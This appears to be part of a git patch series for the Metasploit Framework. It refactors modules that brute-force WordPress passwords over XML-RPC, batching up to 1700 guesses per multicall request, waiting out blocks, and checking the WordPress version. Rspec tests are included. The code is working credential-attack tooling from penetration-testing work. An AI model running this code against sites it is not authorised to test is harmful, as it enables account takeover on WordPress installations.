value.at("struct/member/value/int") + if result.nil? + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + credential.private = pass + #$stderr.puts "Good: #{credential.inspect}" + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + return Result.new(result_opts) + end + end + end + result_opts = { - credential: credential, - host: host, - port: port, - protocol: 'tcp' + credential: credential, + host: host, + port: port, + protocol: 'tcp' } - if ssl - result_opts[:service_name] = 'https' - else - result_opts[:service_name] = 'http' - end - begin - http_client.connect - - request = http_client.request_cgi( - 'uri' => uri, - 'method' => method, - 'data' => generate_xml_request(credential.public,credential.private), - ) - response = http_client.send_recv(request) - - if response && response.code == 200 && response.body =~ /401<\/int><\/value>/ || response.body =~ /user_id<\/name>/ - result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) - elsif response.body =~ /-32601<\/int><\/value>/ - result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) - else - result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) - end - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e - result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) - end - - Result.new(result_opts) - - end - - # This method generates the XML data for the RPC login request - # @param user [String] the username to authenticate with - # @param pass [String] the password to authenticate with - # @return [String] the generated XML body for the request - def generate_xml_request(user, pass) - xml = "" - xml << '' - xml << 'wp.getUsers' - xml << '1' - xml << "#{user}" - xml << "#{pass}" - xml << '' - xml << '' - xml - end - - # (see Base#set_sane_defaults) - def set_sane_defaults - @method = "POST".freeze - super + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + return Result.new(result_opts) end end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index fb7097671a..442d43509b 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -3,11 +3,14 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +#load "./lib/metasploit/framework/login_scanner/wordpress_rpc.rb" + require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute @@ -15,56 +18,84 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', - 'Description' => ' - This module attempts to authenticate against a Wordpress-site - (via XMLRPC) using username and password combinations indicated - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. - ', - 'Author' => - [ - 'Cenk Kalpakoglu ', - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://wordpress.org/'], - ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], - ['CVE', '1999-0502'] # Weak password - ] - )) + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => %q{ + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + }, + 'Author' => + [ + 'Cenk Kalpakoglu ', + 'Sabri', #@KINGSABRI + 'William ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'], # Weak password + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] + ], + 'DefaultOptions' => + { + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") + } + )) register_options( - [ - Opt::RPORT(80), - ], self.class) + [ + OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) + ], self.class) - deregister_options('BLANK_PASSWORDS') # we don't need this option + deregister_options('BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS') + end + + def passwords + File.readlines(datastore['PASS_FILE']).map {|pass| pass.chomp} + end + + def check_setup + vprint_status("Checking #{peer} status!") + + if !wordpress_and_online? + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + false + elsif !wordpress_xmlrpc_enabled? + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + false + else + print_status("Target #{peer} is running Wordpress") + true + end end def run_host(ip) - print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") - if wordpress_xmlrpc_enabled? - vprint_good("XMLRPC enabled, Hello message received!") + if check_setup + print_status("XMLRPC enabled, Hello message received!") else print_error("XMLRPC is not enabled! Aborting") - return :abort + return end print_status("#{peer} - Starting XML-RPC login sweep...") cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], + blank_passwords: true, user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'], + username: datastore['USERNAME'] ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( configure_http_login_scanner( + passwords: passwords, + chunk_size: datastore['CHUNKSIZE'], + block_wait: datastore['BLOCKEDWAIT'], + base_uri: target_uri.path, uri: wordpress_url_xmlrpc, cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -79,24 +110,10 @@ class Metasploit3 < Msf::Auxiliary module_fullname: self.fullname, workspace_id: myworkspace_id ) + case result.status when Metasploit::Model::Login::Status::SUCCESSFUL - print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" - credential_core = create_credential(credential_data) - credential_data[:core] = credential_core - create_credential_login(credential_data) - :next_user - when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - if datastore['VERBOSE'] - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" - end - invalidate_login(credential_data) - :abort - when Metasploit::Model::Login::Status::INCORRECT - if datastore['VERBOSE'] - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" - end - invalidate_login(credential_data) + print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" end end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb deleted file mode 100644 index 6e90483ad4..0000000000 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ /dev/null @@ -1,179 +0,0 @@ -## -# This module requires Metasploit: http://www.metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::Wordpress - - def initialize(info = {}) - super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] - )) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]), - OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500]) - ], self.class) - end - - def usernames - File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} - end - - def passwords - File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} - end - - # - # XML Factory - # - def generate_xml(user) - - vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 - xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. - passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group| - - document = Nokogiri::XML::Builder.new do |xml| - xml.methodCall { - xml.methodName("system.multicall") - xml.params { - xml.param { - xml.value { - xml.array { - xml.data { - - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end - - }}}}}} - end - - xml_payloads << document.to_xml - end - - vprint_status('Generating XMLs just done.') - xml_payloads - end - - # - # Check target status - # - def check_wpstatus - print_status("Checking #{peer} status!") - - if !wordpress_and_online? - print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") - nil - elsif !wordpress_xmlrpc_enabled? - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") - nil - else - print_status("Target #{peer} is running Wordpress") - true - end - - end - - # - # Connection Setup - # - def send(xml) - uri = target_uri.path - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), - 'data' => xml, - 'ctype' =>'text/xml' - } - client = Rex::Proto::Http::Client.new(rhost) - client.connect - req = client.request_cgi(opts) - res = client.send_recv(req) - - if res && res.code != 200 - print_error('It seems you got blocked!') - print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") - sleep datastore['BLOCKEDWAIT'] * 60 - end - @res = res - end - - def run - return if check_wpstatus.nil? - - usernames.each do |user| - passfound = false - - print_status("Bruteforcing user: #{user}") - generate_xml(user).each do |xml| - next if passfound == true - - send(xml) - - # Request Parser - req_xml = Nokogiri::Slop xml - # Response Parser - res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join - - res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| - - result = value.at("struct/member/value/int") - # If response error code doesn't not exist - if result.nil? - user = req_xml.search("data/value/array/data")[i].value[0].text.strip - pass = req_xml.search("data/value/array/data")[i].value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") - - passfound = true - end - - end - - unless user == usernames.last - vprint_status('Sleeping for 2 seconds..') - sleep 2 - end - - end end end -end From d46ab291869852f9f879b2217db6a5c3fb056601 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 19 Jan 2016 20:03:02 -0600 Subject: [PATCH 23/33] Don't name the method #send --- lib/metasploit/framework/login_scanner/wordpress_rpc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index b6c98def53..7abe795462 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -62,7 +62,7 @@ module Metasploit xml_payloads end - def send(xml) + def send_wp_request(xml) opts = { 'method' => 'POST', @@ -87,7 +87,7 @@ module Metasploit def attempt_login(credential) #$stderr.puts "Testing: #{credential.public}" generate_xml(credential.public).each do |xml| - send(xml) + send_wp_request(xml) req_xml = Nokogiri::Slop(xml) res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| From fcaef7621594f9316271f937e52cdf12af62d85d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 20 Jan 2016 17:14:44 -0600 Subject: [PATCH 24/33] Do a version check This attack is not suitable for newer versions due to the mitigation in place. --- modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 442d43509b..4cbcb2652d 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Auxiliary def check_setup vprint_status("Checking #{peer} status!") + version = wordpress_version + vprint_status("Found Wordpress version: #{version}") if !wordpress_and_online? print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") @@ -68,6 +70,8 @@ class Metasploit3 < Msf::Auxiliary elsif !wordpress_xmlrpc_enabled? print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") false + elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') + false else print_status("Target #{peer} is running Wordpress") true From 4cb19c75a6a6dbb5ab27430ee3a232c2999acafd Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 21 Jan 2016 03:19:31 +0300 Subject: [PATCH 25/33] Enhance the module and add version check --- modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 4cbcb2652d..c69e8d7581 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Cenk Kalpakoglu ', - 'Sabri', #@KINGSABRI + 'KingSabri ' , 'William ' ], 'License' => MSF_LICENSE, @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") false elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") false else print_status("Target #{peer} is running Wordpress") @@ -82,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary if check_setup print_status("XMLRPC enabled, Hello message received!") else - print_error("XMLRPC is not enabled! Aborting") + print_error("Abborting the attack.") return end From a8feb8cad5d4b40a8a32265bc08947b401eae93b Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 21 Jan 2016 03:32:50 +0300 Subject: [PATCH 26/33] make passwords faster for reading huge wordlest files --- modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index c69e8d7581..03a955ed95 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary end def passwords - File.readlines(datastore['PASS_FILE']).map {|pass| pass.chomp} + File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} end def check_setup From 216986f7af83fc429a08d47b7767ebea9ead3f94 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 Jan 2016 17:22:14 -0600 Subject: [PATCH 27/33] Do API documentation, rspec, and other small changes --- .../framework/login_scanner/wordpress_rpc.rb | 34 +++++-- .../scanner/http/wordpress_xmlrpc_login.rb | 21 +++- .../login_scanner/wordpress_rpc_spec.rb | 99 ++++++++++++++++++- 3 files changed, 144 insertions(+), 10 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 7abe795462..ccd6dfbc57 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -8,24 +8,42 @@ module Metasploit # Wordpress XML RPC login scanner class WordpressRPC < HTTP + # @!attribute passwords + # @return [Array] attr_accessor :passwords + # @!attribute chunk_size + # @return [Fixnum] attr_accessor :chunk_size + # @!attribute block_wait + # @return [Fixnum] attr_accessor :block_wait + # @!attribute base_uri + # @return [String] attr_accessor :base_uri - attr_reader :wordpress_url_xmlrpc + # @!attribute wordpress_url_xmlrpc + # @return [String] + attr_accessor :wordpress_url_xmlrpc def set_default self.wordpress_url_xmlrpc = 'xmlrpc.php' + self.block_wait = 6 + self.base_uri = '/' + self.chunk_size = 1800 end + # Returns the XML data that is used for the login. + # + # @param user [String] username + # @return [Array] def generate_xml(user) xml_payloads = [] - # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due + # Wordpress limitation which is 1700 maximum. passwords.each_slice(chunk_size) do |pass_group| document = Nokogiri::XML::Builder.new do |xml| xml.methodCall { @@ -36,7 +54,6 @@ module Metasploit xml.array { xml.data { pass_group.each do |pass| - #$stderr.puts "Trying: #{user}:#{pass}" xml.value { xml.struct { xml.member { @@ -62,6 +79,10 @@ module Metasploit xml_payloads end + # Sends an HTTP request to Wordpress. + # + # @param xml [String] XML data. + # @return [void] def send_wp_request(xml) opts = { @@ -84,8 +105,11 @@ module Metasploit end + # Attempts to login. + # + # @param credential [Metasploit::Framework::Credential] + # @return [Metasploit::Framework::LoginScanner::Result] def attempt_login(credential) - #$stderr.puts "Testing: #{credential.public}" generate_xml(credential.public).each do |xml| send_wp_request(xml) req_xml = Nokogiri::Slop(xml) @@ -95,7 +119,6 @@ module Metasploit if result.nil? pass = req_xml.search("data/value/array/data")[i].value[1].text.strip credential.private = pass - #$stderr.puts "Good: #{credential.inspect}" result_opts = { credential: credential, host: host, @@ -108,7 +131,6 @@ module Metasploit end end - result_opts = { credential: credential, host: host, diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 03a955ed95..1d56d14fc3 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -#load "./lib/metasploit/framework/login_scanner/wordpress_rpc.rb" - require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' @@ -23,6 +21,9 @@ class Metasploit3 < Msf::Auxiliary This module attempts to authenticate against a Wordpress-site (via XMLRPC) using username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + + Please note this module will not work against newer versions of Wordpress, + such as 4.4.1, due to the mitigation in place. }, 'Author' => [ @@ -52,13 +53,27 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) ], self.class) - deregister_options('BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS') + # Not supporting these options, because we are not actually letting the API to process the + # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. + deregister_options( + 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' + ) end def passwords File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} end + def check_options + if datastore['CHUNKSIZE'] > 1700 + fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') + end + end + + def setup + check_options + end + def check_setup vprint_status("Checking #{peer} status!") version = wordpress_version diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb index 474d52a9bf..3182394c17 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -5,7 +5,104 @@ describe Metasploit::Framework::LoginScanner::WordpressRPC do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' - it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + subject do + described_class.new + end + + let(:username) do + 'username' + end + + let(:good_password) do + 'goodpassword' + end + + let(:passwords) do + [good_password] + end + + let(:good_response) do + %Q| + + + + + + + + + isAdmin1 + urlhttp://192.168.1.202/wordpress/ + blogid1 + blogNameTest + xmlrpchttp://192.168.1.202/wordpress/xmlrpc.php + + + + + + + + + | + end + + let(:response) do + r = Rex::Proto::Http::Response.new(200, 'OK') + r.body = good_response + r + end + + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) + end + + before do + subject.instance_variable_set(:@passwords, passwords) + subject.set_default + end + + describe '#generate_xml' do + context 'when a username is given' do + it 'returns an array' do + expect(subject.generate_xml(username)).to be_kind_of(Array) + end + + it 'contains our username' do + xml = subject.generate_xml(username).first + expect(xml).to include('') + end + end + end + + describe '#attempt_login' do + context 'when the credential is valid' do + it 'returns a Result object indicating a successful login' do + cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password) + result = subject.attempt_login(cred_obj) + expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + end + + describe '#send_wp_request' do + context 'when a request is sent' do + it 'sets @res with an HTTP response object' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'sets @res with an XML document' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res).body).to include('') + end + end + end end From 0f9cf812b7ea804fbf8d12ddd6aab152dc8a9735 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 Jan 2016 18:54:20 -0600 Subject: [PATCH 28/33] Bring wordpress_xmlrpc_login back, make wordpress_multicall as new --- .../login_scanner/wordpress_multicall.rb | 149 ++++++++++++++ .../framework/login_scanner/wordpress_rpc.rb | 188 ++++++------------ .../scanner/http/wordpress_multicall_creds.rb | 141 +++++++++++++ .../scanner/http/wordpress_xmlrpc_login.rb | 135 +++++-------- .../login_scanner/wordpress_multicall_spec.rb | 108 ++++++++++ .../login_scanner/wordpress_rpc_spec.rb | 103 +--------- 6 files changed, 509 insertions(+), 315 deletions(-) create mode 100644 lib/metasploit/framework/login_scanner/wordpress_multicall.rb create mode 100644 modules/auxiliary/scanner/http/wordpress_multicall_creds.rb create mode 100644 spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb diff --git a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb new file mode 100644 index 0000000000..02068a3ab4 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb @@ -0,0 +1,149 @@ +require 'metasploit/framework/login_scanner/http' +require 'nokogiri' + +module Metasploit + module Framework + module LoginScanner + + class WordpressMulticall < HTTP + + # @!attribute passwords + # @return [Array] + attr_accessor :passwords + + # @!attribute chunk_size + # @return [Fixnum] + attr_accessor :chunk_size + + # @!attribute block_wait + # @return [Fixnum] + attr_accessor :block_wait + + # @!attribute base_uri + # @return [String] + attr_accessor :base_uri + + # @!attribute wordpress_url_xmlrpc + # @return [String] + attr_accessor :wordpress_url_xmlrpc + + def set_default + self.wordpress_url_xmlrpc = 'xmlrpc.php' + self.block_wait = 6 + self.base_uri = '/' + self.chunk_size = 1800 + end + + # Returns the XML data that is used for the login. + # + # @param user [String] username + # @return [Array] + def generate_xml(user) + xml_payloads = [] + + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due + # Wordpress limitation which is 1700 maximum. + passwords.each_slice(chunk_size) do |pass_group| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} + end + xml_payloads << document.to_xml + end + + xml_payloads + end + + # Sends an HTTP request to Wordpress. + # + # @param xml [String] XML data. + # @return [void] + def send_wp_request(xml) + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + req = client.request_cgi(opts) + res = client.send_recv(req) + + if res && res.code != 200 + sleep(block_wait * 60) + end + + @res = res + end + + + # Attempts to login. + # + # @param credential [Metasploit::Framework::Credential] + # @return [Metasploit::Framework::LoginScanner::Result] + def attempt_login(credential) + generate_xml(credential.public).each do |xml| + send_wp_request(xml) + req_xml = Nokogiri::Slop(xml) + res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + result = value.at("struct/member/value/int") + if result.nil? + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + credential.private = pass + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + return Result.new(result_opts) + end + end + end + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + return Result.new(result_opts) + end + + end + end + end +end + + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index ccd6dfbc57..51265384fc 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -1,5 +1,4 @@ require 'metasploit/framework/login_scanner/http' -require 'nokogiri' module Metasploit module Framework @@ -8,138 +7,70 @@ module Metasploit # Wordpress XML RPC login scanner class WordpressRPC < HTTP - # @!attribute passwords - # @return [Array] - attr_accessor :passwords - - # @!attribute chunk_size - # @return [Fixnum] - attr_accessor :chunk_size - - # @!attribute block_wait - # @return [Fixnum] - attr_accessor :block_wait - - # @!attribute base_uri - # @return [String] - attr_accessor :base_uri - - # @!attribute wordpress_url_xmlrpc - # @return [String] - attr_accessor :wordpress_url_xmlrpc - - def set_default - self.wordpress_url_xmlrpc = 'xmlrpc.php' - self.block_wait = 6 - self.base_uri = '/' - self.chunk_size = 1800 - end - - # Returns the XML data that is used for the login. - # - # @param user [String] username - # @return [Array] - def generate_xml(user) - xml_payloads = [] - - # Evil XML | Limit number of log-ins to CHUNKSIZE/request due - # Wordpress limitation which is 1700 maximum. - passwords.each_slice(chunk_size) do |pass_group| - document = Nokogiri::XML::Builder.new do |xml| - xml.methodCall { - xml.methodName("system.multicall") - xml.params { - xml.param { - xml.value { - xml.array { - xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end - }}}}}} - end - xml_payloads << document.to_xml - end - - xml_payloads - end - - # Sends an HTTP request to Wordpress. - # - # @param xml [String] XML data. - # @return [void] - def send_wp_request(xml) - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), - 'data' => xml, - 'ctype' =>'text/xml' - } - - client = Rex::Proto::Http::Client.new(rhost) - client.connect - req = client.request_cgi(opts) - res = client.send_recv(req) - - if res && res.code != 200 - sleep(block_wait * 60) - end - - @res = res - end - - - # Attempts to login. - # - # @param credential [Metasploit::Framework::Credential] - # @return [Metasploit::Framework::LoginScanner::Result] + # (see Base#attempt_login) def attempt_login(credential) - generate_xml(credential.public).each do |xml| - send_wp_request(xml) - req_xml = Nokogiri::Slop(xml) - res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) - res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| - result = value.at("struct/member/value/int") - if result.nil? - pass = req_xml.search("data/value/array/data")[i].value[1].text.strip - credential.private = pass - result_opts = { - credential: credential, - host: host, - port: port, - 